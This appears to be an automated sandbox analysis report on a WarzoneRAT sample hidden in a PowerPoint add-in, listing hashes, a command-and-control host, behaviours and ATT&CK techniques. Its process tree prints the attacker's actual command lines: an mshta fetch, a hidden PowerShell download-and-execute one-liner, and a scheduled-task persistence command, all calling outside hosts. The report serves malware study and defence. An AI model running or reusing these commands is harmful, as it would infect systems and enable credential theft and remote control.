warzonerat | 643ce9630631fdc9051b4be5b3bd9d60281885380fb2fa777379711d938c3c91

Analysis

max time kernel
90s
max time network
149s
platform
windows10_x64
resource
win10v20210408
submitted
17-07-2021 07:24

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General

Target

SO-19844 EIDCO.ppam
Size

14KB
MD5

24dd86688a277a16ca013809c71ab8c0
SHA1

d3a1915ced9501a7ce269ee1ace23b4a50c8c5cd
SHA256

643ce9630631fdc9051b4be5b3bd9d60281885380fb2fa777379711d938c3c91
SHA512

89888f15eaacf0404e460830f497b2465bbaf75276e5cf5b0ae7420f50f9c00c4392479bb2cee291acbeefda71e4dd4d603b915244ed932d84608f8fc65b5119

Score

10^/10

warzonerat infostealer persistence rat spyware stealer

Malware Config

Extracted

Family

warzonerat

pstericdd.duckdns.org:9090

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1304	856	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1672	3596	powershell.exe

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

Blocklisted process makes network request 17 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
16	1304	mshta.exe
18	1304	mshta.exe
20	1304	mshta.exe
22	1304	mshta.exe
24	1304	mshta.exe
26	1304	mshta.exe
29	1304	mshta.exe
31	1304	mshta.exe
34	1304	mshta.exe
37	1304	mshta.exe
38	1304	mshta.exe
39	1304	mshta.exe
41	1304	mshta.exe
42	1304	mshta.exe
43	1304	mshta.exe
46	3468	powershell.exe
48	3468	powershell.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Loads dropped DLL 8 IoCs

Processes:

svchost.exesvchost.exeRegAsm.exe

pid process

4572 svchost.exe
4604 svchost.exe
4324 RegAsm.exe
4324 RegAsm.exe
4324 RegAsm.exe
4324 RegAsm.exe
4324 RegAsm.exe
4324 RegAsm.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4572	svchost.exe
4604	svchost.exe
4324	RegAsm.exe
4324	RegAsm.exe
4324	RegAsm.exe
4324	RegAsm.exe
4324	RegAsm.exe
4324	RegAsm.exe

Modifies WinLogon 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

RegAsm.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	RegAsm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\gFDCpco = "0"	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RegAsm.exe

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

Processes:

DW20.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	2100	856	DW20.EXE	POWERPNT.EXE

Drops file in System32 directory 2 IoCs

Processes:

RegAsm.exe

description ioc process

File created C:\Windows\System32\rfxvmt.dll RegAsm.exe
File opened for modification C:\Windows\System32\rfxvmt.dll RegAsm.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3468 set thread context of 4324 3468 powershell.exe RegAsm.exe
Drops file in Program Files directory 2 IoCs

Processes:

RegAsm.exe

description ioc process

File created C:\Program Files\Microsoft DN1\sqlmap.dll RegAsm.exe
File created C:\Program Files\Microsoft DN1\rdpwrap.ini RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\System32\rfxvmt.dll	RegAsm.exe
File opened for modification	C:\Windows\System32\rfxvmt.dll	RegAsm.exe

description	pid	process	target process
PID 3468 set thread context of 4324	3468	powershell.exe	RegAsm.exe

description	ioc	process
File created	C:\Program Files\Microsoft DN1\sqlmap.dll	RegAsm.exe
File created	C:\Program Files\Microsoft DN1\rdpwrap.ini	RegAsm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2304 schtasks.exe

pid	process
2304	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

856 POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

POWERPNT.EXEdwwin.exepowershell.exepowershell.exesvchost.exe

pid	process
856	POWERPNT.EXE
856	POWERPNT.EXE
808	dwwin.exe
808	dwwin.exe
1672	powershell.exe
3468	powershell.exe
1672	powershell.exe
3468	powershell.exe
1672	powershell.exe
3468	powershell.exe
4604	svchost.exe
4604	svchost.exe
4604	svchost.exe
4604	svchost.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

624

pid	process
624

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	4324	RegAsm.exe
Token: SeAuditPrivilege	4604	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

POWERPNT.EXERegAsm.exe

pid process

856 POWERPNT.EXE
4324 RegAsm.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

POWERPNT.EXEDW20.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 856 wrote to memory of 1304	856	POWERPNT.EXE	mshta.exe
PID 856 wrote to memory of 1304	856	POWERPNT.EXE	mshta.exe
PID 856 wrote to memory of 2100	856	POWERPNT.EXE	DW20.EXE
PID 856 wrote to memory of 2100	856	POWERPNT.EXE	DW20.EXE
PID 2100 wrote to memory of 808	2100	DW20.EXE	dwwin.exe
PID 2100 wrote to memory of 808	2100	DW20.EXE	dwwin.exe
PID 1304 wrote to memory of 3468	1304	mshta.exe	powershell.exe
PID 1304 wrote to memory of 3468	1304	mshta.exe	powershell.exe
PID 1304 wrote to memory of 2304	1304	mshta.exe	schtasks.exe
PID 1304 wrote to memory of 2304	1304	mshta.exe	schtasks.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4324	3468	powershell.exe	RegAsm.exe
PID 3468 wrote to memory of 4468	3468	powershell.exe	aspnet_compiler.exe
PID 3468 wrote to memory of 4468	3468	powershell.exe	aspnet_compiler.exe
PID 3468 wrote to memory of 4468	3468	powershell.exe	aspnet_compiler.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\SO-19844 EIDCO.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:856

C:\Windows\SYSTEM32\mshta.exe
mshta http://www.bitly.com/ashjdkqodasdasdasdwdhqowdh
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601408.us.archive.org/12/items/psteric/psteric.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601408.us.archive.org/12/items/psteric/1.txt').GetResponse().GetResponseStream()).ReadToend());
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3468

C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
4⤵
- Loads dropped DLL
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4324

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
4⤵
PID:4468

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""BlueStacks"" /F /tr ""\""MsHtA""\""http://1230948%1230948@0v2x.blogspot.com/p/34.html\""
3⤵
- Creates scheduled task(s)
PID:2304

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 3468
2⤵
- Process spawned suspicious child process
- Suspicious use of WriteProcessMemory
PID:2100

C:\Windows\system32\dwwin.exe
C:\Windows\system32\dwwin.exe -x -s 3468
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe ((gp HKCU:\Software).cookerr)|IEX
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1672

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s TermService
1⤵
- Loads dropped DLL
PID:4572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4604

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

\??\c:\program files\microsoft dn1\rdpwrap.ini
MD5
6bc395161b04aa555d5a4e8eb8320020

SHA1
f18544faa4bd067f6773a373d580e111b0c8c300

SHA256
23390dfcda60f292ba1e52abb5ba2f829335351f4f9b1d33a9a6ad7a9bf5e2be

SHA512
679ac80c26422667ca5f2a6d9f0e022ef76bc9b09f97ad390b81f2e286446f0658524ccc8346a6e79d10e42131bc428f7c0ce4541d44d83af8134c499436daae

Download Submit
\??\c:\program files\microsoft dn1\sqlmap.dll
MD5
461ade40b800ae80a40985594e1ac236

SHA1
b3892eef846c044a2b0785d54a432b3e93a968c8

SHA256
798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

SHA512
421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

Download Submit
\Program Files\Microsoft DN1\sqlmap.dll
MD5
461ade40b800ae80a40985594e1ac236

SHA1
b3892eef846c044a2b0785d54a432b3e93a968c8

SHA256
798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

SHA512
421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

Download Submit
\Program Files\Microsoft DN1\sqlmap.dll
MD5
461ade40b800ae80a40985594e1ac236

SHA1
b3892eef846c044a2b0785d54a432b3e93a968c8

SHA256
798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

SHA512
421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

Download Submit
\Users\Admin\AppData\Local\Temp\freebl3.dll
MD5
ef12ab9d0b231b8f898067b2114b1bc0

SHA1
6d90f27b2105945f9bb77039e8b892070a5f9442

SHA256
2b00fc4f541ac10c94e3556ff28e30a801811c36422546a546a445aca3f410f7

SHA512
2aa62bfba556ad8f042942dd25aa071ff6677c257904377c1ec956fd9e862abcbf379e0cfd8c630c303a32ece75618c24e3eef58bddb705c427985b944689193

Download Submit
\Users\Admin\AppData\Local\Temp\mozglue.dll
MD5
75f8cc548cabf0cc800c25047e4d3124

SHA1
602676768f9faecd35b48c38a0632781dfbde10c

SHA256
fb419a60305f17359e2ac0510233ee80e845885eee60607715c67dd88e501ef0

SHA512
ed831c9c769aef3be253c52542cf032afa0a8fa5fe25ca704db65ee6883c608220df7102ac2b99ee9c2e599a0f5db99fd86894a4b169e68440eb1b0d0012672f

Download Submit
\Users\Admin\AppData\Local\Temp\msvcp140.dll
MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
\Users\Admin\AppData\Local\Temp\nss3.dll
MD5
d7858e8449004e21b01d468e9fd04b82

SHA1
9524352071ede21c167e7e4f106e9526dc23ef4e

SHA256
78758bf7f3b3b5e3477e38354acd32d787bc1286c8bd9b873471b9c195e638db

SHA512
1e2c981e6c0ca36c60c6e9cae9548b866d5c524df837095b30d618d9c322def7134c20de820105400dd1b58076b66d90274f67773ac6ba914f611b419babb440

Download Submit
\Users\Admin\AppData\Local\Temp\softokn3.dll
MD5
471c983513694ac3002590345f2be0da

SHA1
6612b9af4ff6830fa9b7d4193078434ef72f775b

SHA256
bb3ff746471116c6ad0339fa0522aa2a44a787e33a29c7b27649a054ecd4d00f

SHA512
a9b0fb923bc3b567e933de10b141a3e9213640e3d790b4c4d753cf220d55593ae8026102909969ba6bfc22da3b2fcd01e30a9f5a74bd14a0fdec9beaf0fb1410

Download Submit
\Users\Admin\AppData\Local\Temp\vcruntime140.dll
MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
memory/808-262-0x0000000000000000-mapping.dmp

Download
memory/856-114-0x00007FFC3AEC0000-0x00007FFC3AED0000-memory.dmp

Filesize
64KB

Download
memory/856-115-0x00007FFC3AEC0000-0x00007FFC3AED0000-memory.dmp

Filesize
64KB

Download
memory/856-116-0x00007FFC3AEC0000-0x00007FFC3AED0000-memory.dmp

Filesize
64KB

Download
memory/856-117-0x00007FFC3AEC0000-0x00007FFC3AED0000-memory.dmp

Filesize
64KB

Download
memory/856-119-0x00007FFC3AEC0000-0x00007FFC3AED0000-memory.dmp

Filesize
64KB

Download
memory/856-118-0x00007FFC5CBE0000-0x00007FFC5E7BD000-memory.dmp

Filesize
27.9MB

Download
memory/856-122-0x00007FFC59A20000-0x00007FFC5AB0E000-memory.dmp

Filesize
16.9MB

Download
memory/856-123-0x00007FFC55990000-0x00007FFC57885000-memory.dmp

Filesize
31.0MB

Download
memory/1304-254-0x0000000000000000-mapping.dmp

Download
memory/1672-286-0x000002BAA0040000-0x000002BAA0041000-memory.dmp

Filesize
4KB

Download
memory/1672-274-0x000002BA87A00000-0x000002BA87A01000-memory.dmp

Filesize
4KB

Download
memory/1672-276-0x000002BA87950000-0x000002BA87952000-memory.dmp

Filesize
8KB

Download
memory/1672-277-0x000002BA87953000-0x000002BA87955000-memory.dmp

Filesize
8KB

Download
memory/2100-300-0x00007FFC3AEC0000-0x00007FFC3AED0000-memory.dmp

Filesize
64KB

Download
memory/2100-302-0x00007FFC3AEC0000-0x00007FFC3AED0000-memory.dmp

Filesize
64KB

Download
memory/2100-303-0x00007FFC3AEC0000-0x00007FFC3AED0000-memory.dmp

Filesize
64KB

Download
memory/2100-301-0x00007FFC3AEC0000-0x00007FFC3AED0000-memory.dmp

Filesize
64KB

Download
memory/2100-257-0x0000000000000000-mapping.dmp

Download
memory/2304-267-0x0000000000000000-mapping.dmp

Download
memory/3468-283-0x00000144A6853000-0x00000144A6855000-memory.dmp

Filesize
8KB

Download
memory/3468-298-0x00000144A6856000-0x00000144A6858000-memory.dmp

Filesize
8KB

Download
memory/3468-265-0x0000000000000000-mapping.dmp

Download
memory/3468-313-0x00000144BEB70000-0x00000144BEB7D000-memory.dmp

Filesize
52KB

Download
memory/3468-280-0x00000144A6850000-0x00000144A6852000-memory.dmp

Filesize
8KB

Download
memory/3468-308-0x00000144BEB60000-0x00000144BEB63000-memory.dmp

Filesize
12KB

Download
memory/4324-324-0x0000000004800000-0x000000000493C000-memory.dmp

Filesize
1.2MB

Download
memory/4324-329-0x0000000004BA0000-0x0000000004C24000-memory.dmp

Filesize
528KB

Download
memory/4324-318-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/4324-310-0x0000000000405E28-mapping.dmp

Download
memory/4324-309-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download